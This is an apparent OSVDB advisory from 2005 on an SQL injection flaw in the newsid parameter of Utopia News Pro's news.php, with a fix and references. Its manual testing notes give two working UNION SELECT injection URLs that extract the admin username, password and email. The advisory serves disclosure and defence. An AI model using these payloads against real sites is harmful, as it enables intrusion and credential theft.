Utopia News Pro news.php newsid Variable SQL Injection

2005-10-06T11:22:24
ID OSVDB:19942
Type osvdb
Reporter rgod(retrogod@aliceposta.it)
Modified 2005-10-06T11:22:24

Description

Vulnerability Description

Utopia News Pro contains a flaw that may allow a remote attacker to carry out an SQL injection attack. The issue is due to the 'news.php' script not properly sanitizing user-supplied input to the 'newsid' variable. This may allow a remote attacker to inject or manipulate SQL queries in the backend database.

Solution Description

Upgrade to version 1.1.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Short Description

Utopia News Pro contains a flaw that may allow a remote attacker to carry out an SQL injection attack. The issue is due to the 'news.php' script not properly sanitizing user-supplied input to the 'newsid' variable. This may allow a remote attacker to inject or manipulate SQL queries in the backend database.

Manual Testing Notes

http://[target]/[path]/news.php?action=printable&newsid=%27%20UNION%20SELECT%20null,'20051007',username,password,null,email,null%20FROM%20unp_user%20WHERE%20userid=1/*

http://[target]/[path]/news.php?action=printable&newsid=%27%20UNION%20SELECT%20null,'20051007',username,password,null,email%20FROM%20unp_user%20WHERE%20userid=1/*

References:

Vendor URL: http://www.utopiasoftware.net/ Security Tracker: 1015016 Secunia Advisory ID:17115 Related OSVDB ID: 19940 Related OSVDB ID: 19941 Other Advisory URL: http://rgod.altervista.org/utopia113.html Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2005-10/0084.html ISS X-Force ID: 22555 CVE-2005-3201 Bugtraq ID: 15028